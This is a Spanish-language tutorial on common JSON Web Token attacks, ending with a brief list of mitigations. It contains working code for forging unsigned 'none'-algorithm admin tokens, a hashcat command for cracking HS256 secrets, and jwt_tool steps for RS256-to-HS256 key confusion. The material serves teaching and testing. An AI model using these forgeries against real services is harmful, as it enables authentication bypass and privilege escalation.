JWT: Vulnerabilidades comunes y cómo explotarlas
Análisis de los ataques más frecuentes contra JSON Web Tokens: none algorithm, weak secrets, y header injection.
¿Qué es un JWT?
Un JSON Web Token tiene tres partes separadas por puntos:
header.payload.signatureCada parte está codificada en Base64URL. El header indica el algoritmo, el payload contiene los claims, y la firma verifica la integridad.
Ataque 1: Algorithm = “none”
Algunos servidores mal configurados aceptan tokens sin firma si alg es none.
import base64, json
def b64url(data: dict) -> str: return base64.urlsafe_b64encode( json.dumps(data, separators=(',', ':')).encode() ).rstrip(b'=').decode()
header = b64url({"alg": "none", "typ": "JWT"})payload = b64url({"sub": "admin", "role": "admin"})
# signature vacíatoken = f"{header}.{payload}."print(token)Envía el token así construido y observa si el servidor lo acepta.
Ataque 2: Brute-force de HS256
Si el secreto es débil, herramientas como hashcat pueden romperlo offline:
# extraer token de la respuesta y guardarloTOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.xxx"
hashcat -a 0 -m 16500 "$TOKEN" /usr/share/wordlists/rockyou.txtCon el secreto recuperado, puedes firmar tokens arbitrarios:
import jwt from 'jsonwebtoken';
const payload = { sub: 'admin', role: 'admin' };const token = jwt.sign(payload, 'supersecret123', { algorithm: 'HS256' });console.log(token);Ataque 3: Header Injection (alg confusion RS256 → HS256)
Cuando el servidor usa RS256 pero acepta HS256, puedes firmar con la clave pública como secreto HMAC.
GET /api/profile HTTP/1.1Host: target.comAuthorization: Bearer <crafted_token>Primero obtén la clave pública (normalmente en /jwks.json):
curl https://target.com/.well-known/jwks.json | jq '.keys[0]'Luego convierte la clave pública PEM a bytes y úsala como secreto HMAC. Hay herramientas que automatizan esto:
python3 jwt_tool.py <token> -X k -pk public.pemMitigaciones
- Fijar el algoritmo esperado en el servidor, nunca confiar en el header
- Usar secretos de al menos 256 bits generados criptográficamente
- Validar
exp,iss, yauden cada request - Rotar claves con regularidad y mantener un JWK Set
# generar un secreto seguroopenssl rand -hex 32